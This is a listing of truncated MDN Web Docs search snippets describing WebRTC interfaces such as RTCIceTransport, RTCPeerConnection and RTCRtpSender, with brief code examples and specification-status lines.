"turnpassword" }, { urls: "stun: stunserver.example.org" } ] }); two ice servers are provided. one is a turn server which can be accessed both over turn and turns. the other is a stun server. any number of servers could be listed of any combination of types. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.urls' in that specification. candidate recommendation initial specification. ...
RTCIceServer.username - Web APIs
server will use the username "webrtc" and the creative password "turnpassword". mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.username' in that specification. candidate recommendation initial specification. ...
RTCIceTcpCandidateType - Web APIs
ransport will receive incoming connection requests but won't try to open an outbound connection. "so" the transport will try to open a connection simultaneously with its peer. usage notes the rtcicetcpcandidatetype type is used by the tcptype property of rtcicecandidate objects. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetcpcandidatetype' in that specification. candidate recommendation initial definition. ...
RTCIceTransport.component - Web APIs
3550. an rtcicecomponent of this value corresponds to the component id field in the candidate a-line with the value 1. "rtcp" identifies an ice transport being used for rtcp, which is defined in rfc 3550, section 6. this value of rtcicecomponent corresponds to the component id 2. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.component' in that specification. candidate recommendation initial definition. ...
RTCIceTransport.gatheringState - Web APIs
didates. "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device. the transport won't gather any further candidates unless an ice restart occurs, at which point the gathering process starts over from scratch. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.gatheringstate' in that specification. candidate recommendation initial definition. ...
RTCIceTransport: gatheringstatechange event - Web APIs
candidate recommendation ...
RTCIceTransport.getLocalCandidates() - Web APIs
onnection, then outputs to the console all of the candidates in the list. var localcandidates = pc.getsenders()[0].transport.transport.getlocalcandidates(); localcandidates.foreach(function(candidate, index)) { console.log("candidate " + index + ": " + candidate.candidate); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.getlocalcandidates()' in that specification. candidate recommendation initial definition. ...
RTCIceTransport.getLocalParameters() - Web APIs
rtcicetransport.getlocalparameters(); parameters none. return value an rtciceparameters object indicating the usernamefragment and password which uniquely identify the local peer for the duration of the ice session. returns null if the parameters have not yet been received. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getlocalparameters' in that specification. candidate recommendation initial specification. ...
RTCIceTransport.getRemoteCandidates() - Web APIs
nnection, then outputs to the console all of the candidates in the list. var remotecandidates = pc.getsenders()[0].transport.transport.getremotecandidates(); remotecandidates.foreach(function(candidate, index)) { console.log("candidate " + index + ": " + candidate.candidate); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.getremotecandidates()' in that specification. candidate recommendation initial definition. ...
RTCIceTransport.getRemoteParameters() - Web APIs
rtcicetransport.getremoteparameters(); parameters none. return value an rtciceparameters object indicating the usernamefragment and password which uniquely identify the remote peer for the duration of the ice session. returns null if the parameters haven't been received yet. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getremoteparameters' in that specification. candidate recommendation initial specification. ...
RTCIceTransport.getSelectedCandidatePair() - Web APIs
candidate recommendation initial specification. ...
RTCIceTransport.ongatheringstatechange - Web APIs
tes from both the local and remote peers have been received and processed. var icetransport = pc.getsenders()[0].transport.transport; icetransport.ongatheringstatechange = function(event) { if (icetransport.gatheringstate == "complete") { allcandidatesreceived(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.ongatheringstatechange' in that specification. candidate recommendation initial specification. ...
RTCIceTransport.onselectedcandidatepairchange - Web APIs
candidate recommendation initial specification. ...
RTCIceTransport.onstatechange - Web APIs
ate, which indicates that the connection has failed with no chance of being automatically restored. var icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = function(event) { if (icetransport.state == "failed") { handlefailure(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.onstatechange' in that specification. candidate recommendation initial specification. ...
RTCIceTransport.role - Web APIs
e rtcicetransport represents the controlling agent or the controlled agent. the value must be one of those found in the enumerated type rtcicerole: "controlling" the rtcicetransport object is serving as the controlling agent. "controlled" the transport is the controlled agent. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.role' in that specification. candidate recommendation initial definition. ...
RTCIceTransport: selectedcandidatepairchange event - Web APIs
candidate recommendation ...
RTCIceTransport.state - Web APIs
f candidates, without successfully finding a pair that is both valid and for which consent can be obtained. this is a terminal state, indicating that the connection cannot be achieved or maintained. "closed" the transport has shut down and is no longer responding to stun requests. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransportstate' in that specification. candidate recommendation initial definition. ...
RTCIceTransport: statechange event - Web APIs
candidate recommendation ...
RTCIceTransport - Web APIs
didatepairchange event handler property. statechange sent to the rtcicetransport instance when the value of the state property has changed, indicating that the ice gathering process has changed state. also available through the onstatechange event handler property. examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport' in that specification. candidate recommendation initial definition. ...
RTCIceTransportState - Web APIs
candidate recommendation initial definition. ...
RTCIdentityAssertion - Web APIs
nnection. if no peer has yet been set and verified this interface returns null. once set it can't be changed. properties rtcidentityassertion.idp indicates the provider of the identity assertion. rtcidentityassertion.name indicates the name of the identity assertion provider. specifications specification status comment webrtc 1.0: real-time communication between browsers candidate recommendation initial definition. ...
RTCInboundRtpStreamStats - Web APIs
streams. trackid a string which identifies the statistics object representing the receiving track; this object is one of two types: rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats. this id is stable across multiple calls to getstats(). examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcinboundrtpstreamstats' in that specification. candidate recommendation initial specification. ...
RTCOfferAnswerOptions - Web APIs
candidate recommendation initial definition. ...
RTCOfferOptions.iceRestart - Web APIs
e restart. otherwise, we call back to the older technique: we manually create a new offer with icerestart set to true, then that offer is set as the new local description for the connection. after that, the offer is sent to the server by calling a custom function sendoffertoserver(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferoptions.icerestart' in that specification. candidate recommendation initial definition. ...
RTCOfferOptions - Web APIs
candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats - Web APIs
t have been spent encoding the frames encoded so far by this rtcrtpsender. trackid the id of the rtcsenderaudiotrackattachmentstats or rtcsendervideotrackattachmentstats object containing the current track attachment to the rtcrtpsender responsible for this stream. examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcoutboundrtpstreamstats' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection() - Web APIs
upport non-multiplexed rtcp. the value must be one of those from the rtcrtcpmuxpolicy enum. the default is "require". return value a newly-created rtcpeerconnection object, configured as described by configuration, if specified; otherwise, configured to appropriate basic defaults. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.addTrack() - Web APIs
nal step is to begin sending the local video across the peer connection to the caller. this is done by adding each track in the stream by iterating over the list returned by mediastream.gettracks() and passing them to addtrack() along with the stream which they're a component of. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addtrack()' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.addTransceiver() - Web APIs
candidate recommendation ...
RTCPeerConnection.connectionState - Web APIs
candidate recommendation initial specification. ...
RTCPeerConnection: connectionstatechange event - Web APIs
candidate recommendation initial specification. ...
RTCPeerConnection.createDataChannel() - Web APIs
candidate recommendation initial definition. ...
RTCPeerConnection.currentLocalDescription - Web APIs
sessiondescription object's type and sdp fields. var pc = new rtcpeerconnection(); … var sd = pc.currentlocaldescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentlocaldescription' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.currentRemoteDescription - Web APIs
essiondescription object's type and sdp fields. var pc = new rtcpeerconnection(); … var sd = pc.currentremotedescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentremotedescription' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection: datachannel event - Web APIs
candidate recommendation basic definition. ...
RTCPeerConnection.generateCertificate() - Web APIs
n rtccertificate object. example rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]) }).then(function(cert) { var pc = new rtcpeerconnection({certificates: [cert]}); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'generatecertificate()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.getConfiguration() - Web APIs
candidate recommendation initial definition. ...
RTCPeerConnection.getDefaultIceServers() - Web APIs
the getdefaulticeservers() method of the rtcpeerconnection interface returns an array of objects based on the rtciceserver dictionary, which indicates what, if any, ice servers the browser will use by default if none are provided to the rtcpeerconnection in its rtcconfiguration. however, browsers are not required to provide any default ice servers at all. syntax var defaulticeservers = rtcpeerconnection.getdefaulticeservers(); return value an array of ice servers, specified as objects based on rtciceserver, which the browser will use if none are specified in the configuration of the rtcpeerconnection. if there are no defaults provided by the browser, the returned array is empty; this property's value is never null. example var pc = new rtcpeerconnection(); var iceservers = pc.getdefa...
RTCPeerConnection.getReceivers() - Web APIs
er objects, one for each track on the connection. the array is empty if there are no rtp receivers on the connection. the order of the returned rtcrtpreceiver instances is not defined by the specification, and may change from one call to getreceivers() to the next. example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getreceivers()' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.getSenders() - Web APIs
ction's senders and iterates over every sender, setting the corresponding media track's enabled to the inverse of the specified muting. function setmuting(pc, muting) { let senderlist = pc.getsenders(); senderlist.foreach(sender) { sender.track.enabled = !muting; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getsenders()' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.getStreamById() - Web APIs
the rtcpeerconnection.getstreambyid() method returns the mediastream with the given id that is associated with local or remote end of the connection. if no stream matches, it returns null. this property has been replaced with the rtcpeerconnection.getlocalstreams and rtcpeerconnection.getremotestreams properties. if you have code that uses stream, you will need to update, since browsers have begun to remove support for stream. syntax var mediastream = pc.getstream(id); parameters id is a domstring corresponding to the stream to return. example var stream = pc.getstreambyid(mytrackid); if (stream) { console.log("found stream: " + stream.id); } polyfill running the following code before any other code will create rtcpeerconnection.prototype.getstreambyid() if it's not nat...
RTCPeerConnection.getTransceivers() - Web APIs
ia on the rtcpeerconnection. the list is in the order in which the transceivers were added to the connection. example the following snippet of code stops all transceivers associated with an rtcpeerconnection. pc.gettransceivers().foreach(transceiver => { transceiver.stop(); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.gettransceivers()' in that specification. candidate recommendation ...
RTCPeerConnection.iceConnectionState - Web APIs
ons. when the problem resolves, the connection may return to the "connected" state. "closed" the ice agent for this rtcpeerconnection has shut down and is no longer handling requests. example var pc = new rtcpeerconnection(); var state = pc.iceconnectionstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.iceconnectionstate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection: iceconnectionstatechange event - Web APIs
candidate recommendation ...
RTCPeerConnection.iceGatheringState - Web APIs
candidate recommendation initial specification. ...
RTCPeerConnection: icegatheringstatechange event - Web APIs
candidate recommendation initial specification. ...
RTCPeerConnection: icecandidate event - Web APIs
candidate recommendation ...
RTCPeerConnection: icecandidateerror event - Web APIs
candidate recommendation initial definition. ...
RTCPeerConnection: identityresult event - Web APIs
candidate recommendation ...
RTCPeerConnection: idpassertionerror event - Web APIs
candidate recommendation ...
RTCPeerConnection: idpvalidationerror event - Web APIs
candidate recommendation ...
RTCPeerConnection.localDescription - Web APIs
the rtcsessiondescription object's type and sdp fields. var pc = new rtcpeerconnection(); … var sd = pc.localdescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.localdescription' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection: negotiationneeded event - Web APIs
candidate recommendation ...
RTCPeerConnection.ondatachannel - Web APIs
vent which provides in its channel property the rtcdatachannel which has been created. example pc.ondatachannel = function(ev) { console.log('data channel is created!'); ev.channel.onopen = function() { console.log('data channel is open and ready to be used.'); }; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.ondatachannel' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.onicecandidateerror - Web APIs
r a list of codes. turn adds a few more error codes; see // rfc 5766, section 15 for details. } else if (event.errorcode >= 700 && event.errorcode <= 799) { // server could not be reached; a specific error number is // provided but these are not yet specified. } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicecandidateerror' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.oniceconnectionstatechange - Web APIs
candidate recommendation initial specification. ...
RTCPeerConnection.onicegatheringstatechange - Web APIs
candidate recommendation initial specification. ...
RTCPeerConnection.onnegotiationneeded - Web APIs
first, it creates the offer by calling createoffer(). when that succeeds, the offer is passed into setlocaldescription() to set the local description for the connection. once that's succeeded in turn, the offer can be sent to the signaling server for delivery to the remote peer. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onnegotiationneeded' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.onsignalingstatechange - Web APIs
g that a remote offer has been received and a local description of type "pranswer" has been applied in response. pc.onsignalingstatechange = function(event) { if (pc.signalingstate === "have-local-pranswer") { // setlocaldescription() has been called with an answer } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onsignalingstatechange' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.ontrack - Web APIs
t stream in the incoming track and sets the srcobject attribute to that. this connects that stream of video to the element so that it begins to be presented to the user. the second line of code simply enables a "hang up" button, which the user can use to disconnect from the call. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.ontrack' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection: peeridentity event - Web APIs
candidate recommendation ...
RTCPeerConnection.pendingLocalDescription - Web APIs
t the pendinglocaldescription to determine whether or not there's a description change being processed. var pc = new rtcpeerconnection(); … var sd = pc.pendinglocaldescription; if (sd) { // there's a description change underway! } else { // no description change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendinglocaldescription' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.pendingRemoteDescription - Web APIs
the pendingremotedescription to determine whether or not there's a description change being processed. var pc = new rtcpeerconnection(); … var sd = pc.pendingremotedescription; if (sd) { // there's a description change underway! } else { // no description change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendingremotedescription' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.remoteDescription - Web APIs
rtcsessiondescription object's type and sdp fields. var pc = new rtcpeerconnection(); … var sd = pc.remotedescription; if (sd) { alert("remote session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no remote session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.remotedescription' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.removeStream() - Web APIs
if the signalingstate is set to "closed", an invalidstateerror is raised. ...
RTCPeerConnection.removeTrack() - Web APIs
candidate recommendation initial specification. ...
RTCPeerConnection.restartIce() - Web APIs
nneeded event to be fired, in response to which your code should renegotiate as usual. however, because you have called restartice(), your call to createoffer() which occurs in the handler for negotiationneeded will trigger an ice restart rather than just a regular renegotiation. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.restartice()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.sctp - Web APIs
candidate recommendation initial specification. ...
RTCPeerConnection.setConfiguration() - Web APIs
sed into setconfiguration(). ice negotiation is restarted by calling createoffer(), specifying true as the value of the icerestart option. from there, we handle the process as usual, by setting the local description to the returned offer and then sending that offer to the other peer. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'setconfiguration()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.setRemoteDescription() - Web APIs
candidate recommendation initial specification. ...
RTCPeerConnection.signalingState - Web APIs
tion, as it reflects the state of the rtcpeerconnection, not the signaling connection. you now detect a closed connection by checking for connectionstate to be "closed" instead. example var pc = new rtcpeerconnection(configuration); var state = pc.signalingstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.signalingstate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection: signalingstatechange event - Web APIs
candidate recommendation ...
RTCPeerConnection: track event - Web APIs
deo> element, identified using the variable videoelement. you can also assign the event handler function to the ontrack property, rather than use addeventlistener(). pc.ontrack = e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification. candidate recommendation initial specification. ...
RTCPeerConnectionIceErrorEvent.address - Web APIs
l as the event's errortext property's contents. pc.addeventlistener("icecandidateerror", (event) => { let networkinfo = `[local interface: ${event.address}:${event.port}`; let iceserverinfo = `[ice server: ${event.url}`; showmessage(errortext, iceserverinfo, networkinfo); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerrorevent.address' in that specification. candidate recommendation initial definition. ...
RTCPeerConnectionIceEvent() - Web APIs
ether or not the event must bubble. "cancelable" (optional, default is false, inherited from eventinit(), this boolean indicates whether or not the event can be canceled. return value a newly-created rtcpeerconnectioniceevent, configured as specified in the provided options. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnectionIceEvent.candidate - Web APIs
as been received, or null to indicate that there are no further candidates for this negotiation session. example pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent.candidate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnectionIceEvent - Web APIs
g an event, this event also implements these properties. there is no specific rtcdatachannelevent method. examples pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection: idpvalidationerror event - Web APIs
candidate recommendation initial definition. ...
RTCRtcpParameters - Web APIs
this property cannot be changed once initialized. examples this example obtains the canonical name (cname) being used for rtcp on an rtcrtpsender or rtcrtpreceiver. function getrtpcname(rtpobject) { let parameters = rtpobject.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtcpparameters' in that specification. candidate recommendation initial definition. ...
RTCRtpCodecCapability - Web APIs
dec supported by the user's device. an array of objects of this type is returned in the codecs property of the rtcrtpcapabilities object returned in response to a call to either of the static functions rtcrtpsender.getcapabilities() or rtcrtpreceiver.getcapabilities(). examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcodeccapability' in that specification. candidate recommendation ...
RTCRtpContributingSource.audioLevel - Web APIs
ned in the specifications corresponding to each type of source. audiolevel may be absent from rtcrtpcontributingsource objects, which indicates that no volume level was provided by the source; however, it is required and always available on all rtcrtpsynchronizationsource objects. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'audiolevel' in that specification. candidate recommendation initial definition. ...
RTCRtpContributingSource.rtpTimestamp - Web APIs
candidate recommendation initial definition. ...
RTCRtpContributingSource.source - Web APIs
= rtcrtpcontributingsource.source value an unsigned, 32-bit integer value which uniquely identifies the source of rtp packets described by this rtcrtpcontributingsource (in which case the value is a csrc identifier) or rtcrtpsynchronizationsource (the value is an ssrc identifier). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'source' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandro...
RTCRtpContributingSource.timestamp - Web APIs
indicating the most recent time of playout of an rtp packet from the source. syntax var domhighrestimestamp = rtcrtpcontributingsource.timestamp value a domhighrestimestamp which indicates the time at which the most recent rtp packet from the corresponding source was played out. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'timestamp' in that specification. candidate recommendation initial definition. ...
RTCRtpContributingSource - Web APIs
ion. source optional a 32-bit unsigned integer value specifying the csrc identifier of the contributing source. timestamp optional a domhighrestimestamp indicating the most recent time at which a frame originating from this source was delivered to the receiver's mediastreamtrack specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcontributingsource' in that specification. candidate recommendation initial definition. ...
RTCRtpEncodingParameters.maxBitrate - Web APIs
andwidth will be lower. this value is computed using the standard transport independent application specific maximum (tias) bandwidth as defined by rfc 3890, section 6.2.2; this is the maximum bandwidth needed without considering protocol overheads from ip, tcp or udp, and so forth. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters.maxbitrate' in that specification. candidate recommendation initial definition. ...
RTCRtpEncodingParameters.scaleResolutionDownBy - Web APIs
.0 would cause the video to get larger rather than smaller, which is not the intent of this property. therefore, specifying a value less than 1.0 is not permitted and will cause a rangeerror exception to be thrown by rtcpeerconnection.addtransceiver() or rtcrtpsender.setparameters(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters.scaleresolutiondownby' in that specification. candidate recommendation initial definition. ...
RTCRtpEncodingParameters - Web APIs
1.0, means that the sent video's size will be the same as the original. a value of 2.0 scales the video frames down by a factor of 2 in each dimension, resulting in a video 1/4 the size of the original. the value must not be less than 1.0 (you can't use this to scale the video up). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters' in that specification. candidate recommendation initial definition. ...
RTCRtpParameters - Web APIs
s parameter cannot be changed once initially set. examples this example obtains the canonical name (cname) being used for rtcp on an rtcrtpsender or rtcrtpreceiver. function getrtpcname(rtpobject) { let parameters = rtpobject.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiveparameters' in that specification. candidate recommendation initial definition. ...
RTCRtpReceiveParameters - Web APIs
it inherits all of the properties of its parent, rtcrtpparameters. examples this example obtains the canonical name (cname) being used for rtcp on an rtcrtpreceiver. function getrtcpcname(receiver) { let parameters = receiver.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiveparameters' in that specification. candidate recommendation initial definition. ...
RTCRtpReceiver.getContributingSources() - Web APIs
syntax var rtcrtpcontributingsources = rtcrtpreceiver.getcontributingsources() parameters none. return value an array of rtcrtpcontributingsource instances. each instance describes one of the contributing sources that provided data to the incoming stream in the past ten seconds. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getcontributingsources()' in that specification. candidate recommendation initial definition. ...
RTCRtpReceiver.getParameters() - Web APIs
meters object indicating the current configuration of the receiver. examples this example obtains the canonical name (cname) being used for rtcp on an rtcrtpreceiver. function getrtcpcname(receiver) { let parameters = receiver.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getparameters()' in that specification. candidate recommendation initial definition. ...
RTCRtpReceiver.getStats() - Web APIs
candidate recommendation initial specification. ...
RTCRtpReceiver.getSynchronizationSources() - Web APIs
candidate recommendation initial definition. ...
RTCRtpReceiver.track - Web APIs
the track read-only property of the rtcrtpreceiver interface returns the mediastreamtrack associated with the current rtcrtpreceiver instance. syntax var mediastreamtrack = rtcrtpreceiver.track value a mediastreamtrack instance. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera...
RTCRtpReceiver.transport - Web APIs
candidate recommendation ...
RTCRtpReceiver - Web APIs
ce for each unique ssrc (synchronization source) identifier received by the current rtcrtpreceiver in the last ten seconds. static methods rtcrtpreceiver.getcapabilities() returns the most optimistic view of the capabilities of the system for receiving media of the given kind. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver' in that specification. candidate recommendation initial definition. ...
RTCRtpSendParameters.encodings - Web APIs
1.0, means that the sent video's size will be the same as the original. a value of 2.0 scales the video frames down by a factor of 2 in each dimension, resulting in a video 1/4 the size of the original. the value must not be less than 1.0 (you can't use this to scale the video up). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsendparameters.encodings' in that specification. candidate recommendation initial definition. ...
RTCRtpSendParameters - Web APIs
ates the encoding's priority. the default value is low. transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific previous call to getparameters(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsendparameters' in that specification. candidate recommendation initial definition. ...
RTCRtpSender.dtmf - Web APIs
Web › API › RTCRtpSender › dtmf
candidate recommendation ...
RTCRtpSender.getParameters() - Web APIs
candidate recommendation initial definition. ...
RTCRtpSender.getStats() - Web APIs
candidate recommendation initial specification. ...
RTCRtpSender.replaceTrack() - Web APIs
candidate recommendation ...
RTCRtpSender.setParameters() - Web APIs
ling up rather than down, which is not allowed; or one or more of the specified encodings' maxframerate values is less than 0.0. in addition, if a webrtc error occurs while configuring or accessing the media, an rtcerror is thrown with its errordetail set to hardware-encoder-error. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.setparameters()' in that specification. candidate recommendation initial definition. ...
RTCRtpSender.setStreams() - Web APIs
candidate recommendation ...
RTCRtpSender.track - Web APIs
being handled by the rtcrtpsender. syntax var mediastreamtrack = rtcrtpsender.track value a mediastreamtrack object representing the media associated with the rtcrtpsender. if no track is associated with the sender, this value is null, in which case the sender transmits nothing. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification. candidate recommendation initial definition. ...
RTCRtpSender.transport - Web APIs
candidate recommendation ...
RTCRtpSender - Web APIs
otiation. this method can be used, for example, to toggle between the front- and rear-facing cameras on a device. static methods rtcrtpsender.getcapabilities() returns an rtcrtpcapabilities object describing the system's capabilities for sending a specified kind of media data. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender' in that specification. candidate recommendation ...
RTCRtpStreamStats.kind - Web APIs
the kind property of the rtcrtpstreamstats dictionary is a string indicating whether the described rtp stream contains audio or video media. its value is always either "audio" or "video". this property was previously called mediatype. the name was changed in the specification in february, 2018. see browser compatibility below to determine how this affects the browsers you're targeting. syntax mediakind = rtcrtpstreamstats.kind; value a domstring whose value is "audio" if the track whose statistics are given by the rtcrtpstreamstats object contains audio, or "video" if the track contains video media. this string will always be the same as the one provided by the associated mediastreamtrack object's kind property. it will also match the statistics object's rtccodecstats.codec property's m...
RTCRtpStreamStats.ssrc - Web APIs
mmendations. you should not make any assumptions based on the value of ssrc other than that any two objects with the same ssrc value refer to the same source. see rfc 3550, section 8 for additional information about ssrc. note: the specification includes an example that generates values for ssrc using md5. while not part of the standard, exactly, it is a good mechanism that may be used by some browsers; others may use other methods, such as random number generators. do not rely upon these values meaning anything other than "these objects are associated with the same source." specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.ssrc' in that specification. candidate recommendation initial defin...
RTCRtpSynchronizationSource.voiceActivityFlag - Web APIs
candidate recommendation initial definition. ...
RTCRtpSynchronizationSource - Web APIs
es of rtcrtpcontributingsource. voiceactivityflag optional a boolean value indicating whether or not voice activity is included in the last rtp packet played from the source. if the peer has indicated that it's not supporting voice activity detection, this field is not provided. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsynchronizationsource' in that specification. candidate recommendation initial definition. ...
RTCRtpTransceiver.currentDirection - Web APIs
candidate recommendation ...
RTCRtpTransceiver.direction - Web APIs
ion.createoffer() or rtcpeerconnection.createanswer() in order to generate the sdp generated by each of those methods. the sdp contains an a-line which specifies the directionality. for example, if the direction is specified as "sendrecv", the corresponding sdp a-line is: a=sendrecv specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.direction' in that specification. candidate recommendation ...
RTCRtpTransceiver.mid - Web APIs
er and receiver. syntax var mediaid = rtcrtptransceiver.mid; value a domstring which uniquely identifies the pairing of source and destination of the transceiver's stream. its value is taken from the media id of the sdp m-line. this value is null if negotiation has not completed. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.mid' in that specification. candidate recommendation ...
RTCRtpTransceiver.receiver - Web APIs
